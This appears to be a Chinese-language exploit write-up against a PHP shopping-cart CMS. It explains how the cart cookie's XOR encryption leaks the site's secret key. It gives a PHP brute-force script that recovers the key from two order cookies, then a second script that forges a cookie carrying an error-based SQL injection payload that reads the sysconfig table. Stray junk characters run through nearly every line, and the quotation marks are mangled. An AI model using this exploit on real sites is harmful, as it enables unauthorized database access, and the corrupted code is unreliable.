www.xxx.com/plus/search.php?keyword=' ~9 e5 V/ ]( q
在 include/shopcar.class.php中
8 T8 \5 s; N9 B7 x8 @- j* W先看一下这个shopcar类是如何生成cookie的; s( v. I9 ~! y
239 function saveCookie($key,$value)2 n' s. m% N% ^$ z. }3 B* G
240 {! w/ ?& H5 l/ K3 M4 k. W
241 if(is_array($value))
0 M, W- b7 q2 i, I0 l242 {
# Z: J5 x5 W4 N% B243 $value = $this->enCrypt($this->enCode($value));7 T0 R& z2 X. Q4 F! t/ t
244 }; u5 j) V- a/ w9 ]# C3 K8 _: u
245 else- a* ?# I% A) w% A
246 {" g, G3 x, k$ A8 V# e9 d O
247 $value = $this->enCrypt($value);9 n+ n7 O# `! N2 w# u2 A
248 }: n$ d2 |( k9 U7 T8 ?
249 setcookie($key,$value,time()+36000,’/');
4 Z" t$ z% y0 e0 U3 e250 }4 k. u" `. e; H i4 J3 P
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数1 a* _: V' F$ _: Z
186 function enCrypt($txt)5 C3 Z& x$ K% l2 C: }1 g" u
187 {
0 i4 t* L$ M6 m* \8 a188 srand((double)microtime() * 1000000);
* p7 M5 I5 V8 ?189 $encrypt_key = md5(rand(0, 32000));
" j2 E, N7 g( r* A* o' p) }7 c190 $ctr = 0;2 c0 U2 x6 \0 W, ~5 M7 W" k
191 $tmp = ”;$ P- z" T% K$ s. c+ i( L+ U
192 for($i = 0; $i < strlen($txt); $i++)
0 b$ |- Q' n! c& _* h8 M193 {
" t( x: o4 C* W0 t ^) q- u194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
) Q9 Y- W4 t- W195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
3 y2 F) l6 t0 b$ h9 M4 i. o196 }
1 H0 a. ?8 c$ [; o* \' X197 return base64_encode($this->setKey($tmp));
0 V, h( v6 f! A' a2 q+ K- l; m7 K198 }& V$ }8 p# ]/ ^0 I# S
213 function setKey($txt)
; H: _9 i9 X/ v# g4 d. }% Z: a214 {! F" Q1 W9 n! P+ x) v( k
215 global $cfg_cookie_encode;. U$ K6 H1 C$ p3 A, U, l% m
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
1 k4 G y& `2 a/ d217 $ctr = 0;1 }( x. n. r) g6 y; ^+ W; U
218 $tmp = ”;% s% D* I4 Y0 a$ Y5 H
219 for($i = 0; $i < strlen($txt); $i++)# i. U" @# T4 X; C; G2 D
220 {5 o0 L) b: M e/ s- ~; C
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;$ g7 `5 Q' {- K" f% I2 R
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
5 l% S7 R e5 u+ K223 }
; @5 g; ?5 f. x4 F3 |; L224 return $tmp;
5 k$ x3 z# {/ H; [225 }, j: _0 m. c, ~/ {. l7 g) C
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
2 q$ Z* l( J8 P- X2 J' c然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。' L$ i' A3 G" O
具体代码如下:9 H, T/ V* W" ?: P9 J4 U
<?php
* J! d9 R& o8 d3 L4 d: R7 z$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here" [7 Z. @! [+ n8 F* `5 t+ l5 b
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here3 L; c* M5 @ k* A& q! W
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
2 \* I0 O4 g( O7 w: L; U& R3 Vfunction reStrCode($code,$string)
6 n4 g* v6 \9 e" a5 S% A{7 a) B1 c2 Z" a9 B l) t3 D
$code = base64_decode($code);" e/ h8 u- ` s* c
$key = “”;
7 k; w- Y U, n* ?* l8 A$ B7 G4 }for($i=0 ; $i<32 ; $i++)7 E0 H. m& I d5 u) q" `: |: n
{
2 D; w" Q! j6 U9 [ u$key .= $string[$i] ^ $code[$i]; B8 P" q ?) Y5 g7 `& n$ ~2 f0 t9 J
}6 O6 w7 @ g! S2 k- W5 }! L1 y
return $key;3 \- J! }" o9 U
}
, M3 D5 U: y7 p0 m+ wfunction getKeys($cookie,$plantxt) ]- A. r5 t. w7 v3 W
{ C3 N) O) L8 b |" S
$tmp = $cookie;( n) d7 G7 v; r7 q2 d8 L5 O: M
$results = array();% z2 ?* t. `) U9 V" m; O
for($j=0 ; $j < 32000; $j++)9 J% l( ~* c0 V* S# r8 L
{ C# U) d- y- G! R# w3 Y
( c; Z5 { U# p, j' P
$txt = $plantxt;) R0 \4 y1 }$ W
$ctr = 0;
, J( y( j4 o; q# Z ~' W) a$tmp = ”;+ U' v8 m3 k* w' l0 H5 b3 \
$encrypt_key = md5($j);
/ V& o9 i% t2 d' i1 T; G( Sfor($i =0; $i < strlen($txt); $i ++)5 o0 G6 U$ z( N
{
: p6 f% d% a9 c! k$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
S9 V/ n- K% S' L7 B. ?3 C$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);+ g6 B2 Y! M# x' w0 z
}
% T- k$ h; f! X% b) g$string = $tmp;! R% V- Y6 P6 q* t/ f" n: k
$code = $cookie;5 }, \0 f5 ~' \" {. U2 b$ b M. h
$result = reStrCode($code,$string);
& t1 l2 [/ i6 \if(eregi(‘^[a-z0-9]+$’,$result))9 [* j4 _$ f F3 M- E. J2 T( `
{
! j* Q' l0 j4 M2 a, necho $result.”\n”;
4 |( h& l; i* a2 Q$results[] = $result;
6 |$ g, F0 O6 A o# [! i {1 B6 O}; g" _# P3 M9 i% U2 ]
}
' {" @- x7 p3 N6 d9 Ureturn $results;
; U1 S0 P! N2 C% a3 K5 j5 Z}
' n$ N& [( W" y8 X' M V$results1 = getKeys($cookie1,$plantxt);
+ D: \ l% G" E7 Y6 \$results2 = getKeys($cookie2,$plantxt);
h D4 Q$ N% w" v+ Xprint “\n——————–real key————————–\n”;
, L7 t) [1 k5 G4 i& M/ n1 P6 K3 pforeach($results1 as $test1)
9 H! y6 O+ c9 ?2 o) L* ]{
. l' p2 ~& U9 Mforeach($results2 as $test2)0 M8 P3 P3 M( `- n) D2 V5 p% ~3 q
{2 [2 |* d# i4 j
if($test1 == $test2)
& G9 x2 ^4 u9 _1 F{% O& G& T7 D) w5 i- A$ m
echo $test1.”\n”;
' K2 D1 j3 d* H5 R2 ?/ {}5 A6 k) T3 ?8 u/ ^, {! S0 a& S
}
* W! p' k. L- f+ o8 P# i% D! H}- i8 D* L! ^$ B* F
?>
1 l, b* C) w5 w! k ucookie1 和 cookie2 是我下了两次订单后分别生成的cookie,) `2 W' F2 P% G+ j* n0 t
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1# f+ k+ c- E' t, F
然后推算出md5(strtolower($cfg_cookie_encode))9 q" q* p3 W! G+ c6 m; Z
得到这个key之后,我们就可以构造任意购物车的cookie8 q6 L3 I! O E) Q. Y2 m) e
接着看
1 n& j5 L/ x7 }20 class MemberShops
; J$ k2 G( G& @# E21 {+ n+ @, v( k5 Z. h$ A8 H# @
22 var $OrdersId;
3 h1 O$ h/ j" L0 B4 I8 n1 _23 var $productsId;3 j) [: C( }1 W/ l! j
24
I8 j P3 i1 u25 function __construct()
8 u5 E$ V5 K" f/ h1 w0 @5 G26 {
# m4 R8 w! b8 D( A27 $this->OrdersId = $this->getCookie(“OrdersId”);
8 u. o5 k* k) S# |+ \28 if(empty($this->OrdersId)): B/ ]& `" k5 C, ~: H* I
29 {7 Q: }1 ?- j# o
30 $this->OrdersId = $this->MakeOrders();! P- R6 D5 e3 K. ?# P
31 }5 u% I$ ]) \7 T
32 }
. i) |& S# m/ P. W0 p1 s3 i/ e发现OrderId是从cookie里面获取的
( e6 o" A( e; c) P2 w然后3 P. ^" o( C+ f0 F' {" U
/plus/carbuyaction.php中的5 e' {2 r" M) S
29 $cart = new MemberShops();
1 r) B* n0 A7 l1 r- h39 $OrdersId = $cart->OrdersId; //本次记录的订单号( h ? ]' u! L4 O+ K/ C! |# k
……
* U& `% q9 p9 U3 ~0 M8 g) M173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);6 f( \' L7 w* w* P, n( ~
接着我们就可以注入了
" c, @3 G2 g/ o' w$ R+ d" X g通过利用下面代码生成cookie:
) z+ ^" i0 }* M4 Z5 ]+ P<?php
( V- B& ~% h& Y$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
% `% D9 {( ^0 Y _6 C$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
2 v8 ]" m/ y9 F4 T1 N8 Ufunction setKey($txt)
8 j) B+ L9 @' P( g- W& {{* F: B% K& k# S
global $encrypt_key;& n( I# O' [7 Q; V0 d- s2 n' A. R
$ctr = 0;
* g: D- B* f3 O: g; C: v6 y5 v$tmp = ”;- _* ~/ ?6 X" J# E$ E
for($i = 0; $i < strlen($txt); $i++)
- {$ _- P6 T- p. _' v{
! W7 x0 F2 ^/ G. Z$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;2 p0 j5 A9 G! I4 c8 l
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
# \4 A; V" ]8 F, m9 P6 A, c: @& v}
8 k! g1 S$ D) zreturn $tmp;
/ ~7 S" B' c/ S5 e}3 \" |' P( s5 W& W$ ~2 R9 f
function enCrypt($txt). I' f; Y' Y! D" i
{
9 `" y0 b! [+ s$ y1 P0 E) d5 Jsrand((double)microtime() * 1000000);
* j# w$ j6 B3 I+ n0 l$encrypt_key = md5(rand(0, 32000));! }2 X4 Q" Y; {; q; U1 s2 h
$ctr = 0;
1 S$ A* ^+ O6 I) r6 \$tmp = ”;" v; l% D6 K% H0 {2 r: n% H! P
for($i = 0; $i < strlen($txt); $i++)+ [+ \5 H5 S9 a) K7 t7 @; H
{
$ B2 z9 d2 ]/ c$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- {9 s# o4 v: p. {! p* {$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- V( F8 j2 J: D% A( g}
: j* w( J H, u( j0 Sreturn base64_encode(setKey($tmp));
- ^* C- p% U$ F% y$ r$ h- {}/ f/ `/ h7 _; N4 }! k: G& ]* E
for($dest =0;$dest = enCrypt($txt);)! O( Z. Z* Z( k2 f1 V8 h
{
, O1 X: N% t! p. yif(!strpos($dest,’+'))
7 k- a; l# i8 E. \{
7 M# E. B( ?1 r. S! S5 E3 y" \break;6 l8 i) Q9 `9 r5 l5 q/ y
}, n* Y) s& z7 Y% \+ E" `! X1 P
}
" a1 ~, T, P4 n& D3 ^echo $dest.”\n”;) Y8 U4 z2 v4 N/ a' V
?>
4 y# d2 O4 a5 k6 i$ Z8 Q$ V- ~
: B7 Y9 X5 J- }8 j |